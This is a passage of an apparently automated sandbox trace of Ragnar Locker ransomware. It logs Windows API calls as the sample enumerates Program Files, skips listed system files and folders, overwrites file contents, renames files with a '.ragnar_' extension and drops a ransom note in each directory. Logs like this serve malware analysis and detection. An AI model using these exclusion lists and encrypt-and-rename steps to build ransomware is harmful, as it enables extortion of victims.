returned -1 [0068.470] lstrcmpiW (lpString1="MSTAG.TLB", lpString2="autorun.inf") returned 1 [0068.470] lstrcmpiW (lpString1="MSTAG.TLB", lpString2="boot.ini") returned 1 [0068.470] lstrcmpiW (lpString1="MSTAG.TLB", lpString2="bootfont.bin") returned 1 [0068.470] lstrcmpiW (lpString1="MSTAG.TLB", lpString2="bootsect.bak") returned 1 [0068.470] lstrcmpiW (lpString1="MSTAG.TLB", lpString2="bootmgr") returned 1 [0068.470] lstrcmpiW (lpString1="MSTAG.TLB", lpString2="bootmgr.efi") returned 1 [0068.471] lstrcmpiW (lpString1="MSTAG.TLB", lpString2="bootmgfw.efi") returned 1 [0068.471] lstrcmpiW (lpString1="MSTAG.TLB", lpString2="desktop.ini") returned 1 [0068.471] lstrcmpiW (lpString1="MSTAG.TLB", lpString2="iconcache.db") returned 1 [0068.471] lstrcmpiW (lpString1="MSTAG.TLB", lpString2="ntldr") returned -1 [0068.471] lstrcmpiW (lpString1="MSTAG.TLB", lpString2="ntuser.dat") returned -1 [0068.471] lstrcmpiW (lpString1="MSTAG.TLB", lpString2="ntuser.dat.log") returned -1 [0068.471] lstrcmpiW (lpString1="MSTAG.TLB", lpString2="ntuser.ini") returned -1 [0068.471] lstrcmpiW (lpString1="MSTAG.TLB", lpString2="thumbs.db") returned -1 [0068.471] lstrcmpiW (lpString1=".TLB", lpString2=".db") returned 1 [0068.471] lstrcmpiW (lpString1=".TLB", lpString2=".sys") returned 1 [0068.471] lstrcmpiW (lpString1=".TLB", lpString2=".dll") returned 1 [0068.471] lstrcmpiW (lpString1=".TLB", lpString2=".lnk") returned 1 [0068.471] lstrcmpiW (lpString1=".TLB", lpString2=".msi") returned 1 [0068.471] lstrcmpiW (lpString1=".TLB", lpString2=".drv") returned 1 [0068.471] lstrcmpiW (lpString1=".TLB", lpString2=".exe") returned 1 [0068.471] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\mstag.tlb")) returned 0x20 [0068.473] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\mstag.tlb"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x100 [0068.474] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=13684) returned 1 [0068.474] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x356b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.474] GetProcessHeap () returned 0x580000 [0068.474] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0068.474] ReadFile (in: hFile=0x100, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0068.476] VirtualAlloc (lpAddress=0x0, dwSize=0x3574, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0068.476] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.476] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0068.476] ReadFile (in: hFile=0x100, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x3574, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x3574, lpOverlapped=0x0) returned 1 [0068.477] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0068.477] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3574, nNumberOfBytesToLockHigh=0x0) returned 1 [0068.477] WriteFile (in: hFile=0x100, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x3574, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x3574, lpOverlapped=0x0) returned 1 [0068.477] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3574, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0068.477] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0068.478] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x3574, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.478] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0068.478] WriteFile (in: hFile=0x100, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0068.478] WriteFile (in: hFile=0x100, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0068.478] WriteFile (in: hFile=0x100, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0068.478] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0068.478] GetProcessHeap () returned 0x580000 [0068.478] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0068.478] CloseHandle (hObject=0x100) returned 1 [0068.480] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB" [0068.480] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB.ragnar_FD7BD9FC" [0068.480] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\mstag.tlb"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\mstag.tlb.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0068.480] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7abf03c0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x7abf03c0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0068.480] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x40 [0068.480] lstrcpyW (in: lpString1=0x1eb63a, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0068.480] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\RGNR_FD7BD9FC.txt") returned=".txt" [0068.480] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0068.480] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5de00200, ftCreationTime.dwHighDateTime=0x1cac9ac, ftLastAccessTime.dwLowDateTime=0x6d2e6230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5de00200, ftLastWriteTime.dwHighDateTime=0x1cac9ac, nFileSizeHigh=0x0, nFileSizeLow=0x3d80, dwReserved0=0x0, dwReserved1=0x0, cFileName="SmartTagInstall.exe", cAlternateFileName="SMARTT~1.EXE")) returned 1 [0068.480] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x40 [0068.480] lstrcpyW (in: lpString1=0x1eb63a, lpString2="SmartTagInstall.exe" | out: lpString1="SmartTagInstall.exe") returned="SmartTagInstall.exe" [0068.480] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe") returned=".exe" [0068.480] lstrcmpiW (lpString1="SmartTagInstall.exe", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0068.480] lstrcmpiW (lpString1="SmartTagInstall.exe", lpString2="autorun.inf") returned 1 [0068.480] lstrcmpiW (lpString1="SmartTagInstall.exe", lpString2="boot.ini") returned 1 [0068.481] lstrcmpiW (lpString1="SmartTagInstall.exe", lpString2="bootfont.bin") returned 1 [0068.481] lstrcmpiW (lpString1="SmartTagInstall.exe", lpString2="bootsect.bak") returned 1 [0068.481] lstrcmpiW (lpString1="SmartTagInstall.exe", lpString2="bootmgr") returned 1 [0068.481] lstrcmpiW (lpString1="SmartTagInstall.exe", lpString2="bootmgr.efi") returned 1 [0068.481] lstrcmpiW (lpString1="SmartTagInstall.exe", lpString2="bootmgfw.efi") returned 1 [0068.481] lstrcmpiW (lpString1="SmartTagInstall.exe", lpString2="desktop.ini") returned 1 [0068.481] lstrcmpiW (lpString1="SmartTagInstall.exe", lpString2="iconcache.db") returned 1 [0068.481] lstrcmpiW (lpString1="SmartTagInstall.exe", lpString2="ntldr") returned 1 [0068.481] lstrcmpiW (lpString1="SmartTagInstall.exe", lpString2="ntuser.dat") returned 1 [0068.481] lstrcmpiW (lpString1="SmartTagInstall.exe", lpString2="ntuser.dat.log") returned 1 [0068.481] lstrcmpiW (lpString1="SmartTagInstall.exe", lpString2="ntuser.ini") returned 1 [0068.481] lstrcmpiW (lpString1="SmartTagInstall.exe", lpString2="thumbs.db") returned -1 [0068.481] lstrcmpiW (lpString1=".exe", lpString2=".db") returned 1 [0068.481] lstrcmpiW (lpString1=".exe", lpString2=".sys") returned -1 [0068.481] lstrcmpiW (lpString1=".exe", lpString2=".dll") returned 1 [0068.481] lstrcmpiW (lpString1=".exe", lpString2=".lnk") returned -1 [0068.481] lstrcmpiW (lpString1=".exe", lpString2=".msi") returned -1 [0068.481] lstrcmpiW (lpString1=".exe", lpString2=".drv") returned 1 [0068.481] lstrcmpiW (lpString1=".exe", lpString2=".exe") returned 0 [0068.481] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5de00200, ftCreationTime.dwHighDateTime=0x1cac9ac, ftLastAccessTime.dwLowDateTime=0x6d2e6230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5de00200, ftLastWriteTime.dwHighDateTime=0x1cac9ac, nFileSizeHigh=0x0, nFileSizeLow=0x3d80, dwReserved0=0x0, dwReserved1=0x0, cFileName="SmartTagInstall.exe", cAlternateFileName="SMARTT~1.EXE")) returned 0 [0068.481] FindClose (in: hFindFile=0x5a1328 | out: hFindFile=0x5a1328) returned 1 [0068.481] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef4d890, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef4d890, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Source Engine", cAlternateFileName="SOURCE~1")) returned 1 [0068.481] lstrcmpiW (lpString1="Source Engine", lpString2=".") returned 1 [0068.481] lstrcmpiW (lpString1="Source Engine", lpString2="..") returned 1 [0068.481] lstrcmpiW (lpString1="Source Engine", lpString2="Windows") returned -1 [0068.481] lstrcmpiW (lpString1="Source Engine", lpString2="Windows.old") returned -1 [0068.481] lstrcmpiW (lpString1="Source Engine", lpString2="Tor browser") returned -1 [0068.481] lstrcmpiW (lpString1="Source Engine", lpString2="Internet Explorer") returned 1 [0068.481] lstrcmpiW (lpString1="Source Engine", lpString2="Google") returned 1 [0068.481] lstrcmpiW (lpString1="Source Engine", lpString2="Opera") returned 1 [0068.481] lstrcmpiW (lpString1="Source Engine", lpString2="Opera Software") returned 1 [0068.482] lstrcmpiW (lpString1="Source Engine", lpString2="Mozilla") returned 1 [0068.482] lstrcmpiW (lpString1="Source Engine", lpString2="Mozilla Firefox") returned 1 [0068.482] lstrcmpiW (lpString1="Source Engine", lpString2="$Recycle.Bin") returned 1 [0068.482] lstrcmpiW (lpString1="Source Engine", lpString2="ProgramData") returned 1 [0068.482] lstrcmpiW (lpString1="Source Engine", lpString2="All Users") returned 1 [0068.482] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\*.*", nBufferLength=0x104, lpBuffer=0x1ec098, lpFilePart=0x1ec544 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\*.*", lpFilePart=0x1ec544*="*.*") returned 0x36 [0068.482] lstrcpyW (in: lpString1=0x1ec0fe, lpString2="Source Engine" | out: lpString1="Source Engine") returned="Source Engine" [0068.482] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\" [0068.482] lstrcpyW (in: lpString1=0x1ebe8c, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\" [0068.482] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\RGNR_FD7BD9FC.txt" [0068.482] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\source engine\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0068.484] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\*.*") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\*.*" [0068.484] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\*.*", nBufferLength=0x104, lpBuffer=0x1eb1ac, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x44 [0068.484] lstrcpyW (in: lpString1=0x1eafa4, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0068.484] lstrcpyW (in: lpString1=0x1eb22e, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0068.484] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\*.*", lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef4d890, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x7b0ff280, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7b0ff280, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1328 [0068.485] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0068.485] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef4d890, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x7b0ff280, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7b0ff280, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0068.485] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0068.485] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0068.485] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcfcedc00, ftCreationTime.dwHighDateTime=0x1ca911d, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcfcedc00, ftLastWriteTime.dwHighDateTime=0x1ca911d, nFileSizeHigh=0x0, nFileSizeLow=0x2a968, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSE.EXE", cAlternateFileName="")) returned 1 [0068.485] lstrcmpiW (lpString1="OSE.EXE", lpString2=".") returned 1 [0068.485] lstrcmpiW (lpString1="OSE.EXE", lpString2="..") returned 1 [0068.485] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b0ff280, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x7b0ff280, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0068.485] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0068.485] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0068.485] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b0ff280, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x7b0ff280, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 0 [0068.485] FindClose (in: hFindFile=0x5a1328 | out: hFindFile=0x5a1328) returned 1 [0068.485] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\*.*", lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef4d890, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x7b0ff280, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7b0ff280, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1328 [0068.485] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef4d890, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x7b0ff280, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7b0ff280, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0068.485] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcfcedc00, ftCreationTime.dwHighDateTime=0x1ca911d, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcfcedc00, ftLastWriteTime.dwHighDateTime=0x1ca911d, nFileSizeHigh=0x0, nFileSizeLow=0x2a968, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSE.EXE", cAlternateFileName="")) returned 1 [0068.485] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x44 [0068.485] lstrcpyW (in: lpString1=0x1eb642, lpString2="OSE.EXE" | out: lpString1="OSE.EXE") returned="OSE.EXE" [0068.485] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\OSE.EXE") returned=".EXE" [0068.485] lstrcmpiW (lpString1="OSE.EXE", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0068.486] lstrcmpiW (lpString1="OSE.EXE", lpString2="autorun.inf") returned 1 [0068.486] lstrcmpiW (lpString1="OSE.EXE", lpString2="boot.ini") returned 1 [0068.486] lstrcmpiW (lpString1="OSE.EXE", lpString2="bootfont.bin") returned 1 [0068.486] lstrcmpiW (lpString1="OSE.EXE", lpString2="bootsect.bak") returned 1 [0068.486] lstrcmpiW (lpString1="OSE.EXE", lpString2="bootmgr") returned 1 [0068.486] lstrcmpiW (lpString1="OSE.EXE", lpString2="bootmgr.efi") returned 1 [0068.486] lstrcmpiW (lpString1="OSE.EXE", lpString2="bootmgfw.efi") returned 1 [0068.486] lstrcmpiW (lpString1="OSE.EXE", lpString2="desktop.ini") returned 1 [0068.486] lstrcmpiW (lpString1="OSE.EXE", lpString2="iconcache.db") returned 1 [0068.486] lstrcmpiW (lpString1="OSE.EXE", lpString2="ntldr") returned 1 [0068.486] lstrcmpiW (lpString1="OSE.EXE", lpString2="ntuser.dat") returned 1 [0068.486] lstrcmpiW (lpString1="OSE.EXE", lpString2="ntuser.dat.log") returned 1 [0068.486] lstrcmpiW (lpString1="OSE.EXE", lpString2="ntuser.ini") returned 1 [0068.486] lstrcmpiW (lpString1="OSE.EXE", lpString2="thumbs.db") returned -1 [0068.486] lstrcmpiW (lpString1=".EXE", lpString2=".db") returned 1 [0068.486] lstrcmpiW (lpString1=".EXE", lpString2=".sys") returned -1 [0068.486] lstrcmpiW (lpString1=".EXE", lpString2=".dll") returned 1 [0068.486] lstrcmpiW (lpString1=".EXE", lpString2=".lnk") returned -1 [0068.486] lstrcmpiW (lpString1=".EXE", lpString2=".msi") returned -1 [0068.486] lstrcmpiW (lpString1=".EXE", lpString2=".drv") returned 1 [0068.486] lstrcmpiW (lpString1=".EXE", lpString2=".exe") returned 0 [0068.486] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b0ff280, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x7b0ff280, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0068.486] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x44 [0068.486] lstrcpyW (in: lpString1=0x1eb642, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0068.486] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\RGNR_FD7BD9FC.txt") returned=".txt" [0068.486] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0068.486] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b0ff280, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x7b0ff280, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 0 [0068.486] FindClose (in: hFindFile=0x5a1328 | out: hFindFile=0x5a1328) returned 1 [0068.486] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e177d26, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e177d26, 